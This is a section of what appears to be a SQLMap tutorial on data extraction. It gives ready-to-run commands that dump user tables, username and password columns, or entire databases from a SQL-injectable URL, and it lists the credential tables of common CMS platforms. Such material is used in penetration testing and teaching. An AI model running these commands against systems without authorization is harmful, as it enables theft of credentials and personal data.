SQLMap Section 5 of 13

Data Extraction

Extract sensitive data from vulnerable databases including credentials, user data, and configuration.

Dump Table Data

Extract all rows from a specific table:

bash
1sqlmap -u 'http://target.com?id=1' -D mydb -T users --dump

Dump Specific Columns

Extract only the columns you need:

bash
1sqlmap -u 'http://target.com?id=1' -D mydb -T users -C username,password --dump

Dump All Databases

Extract everything (very aggressive):

bash
1sqlmap -u 'http://target.com?id=1' --dump-all --batch

Incremental Dumping

Resume partial dumps automatically - SQLMap tracks progress in session files.

bash
1sqlmap -u 'http://target.com?id=1' -D mydb -T users --dump --keep-alive

Warning

Some databases limit the number of rows returned per query. Use --limit and --start to control batch sizes.

Common Database Targets

WordPress

wp_users, wp_options, wp_posts

Joomla

jos_users, jos_content

Drupal

users, node, taxonomy_term_data

Magento

admin_user, customer_entity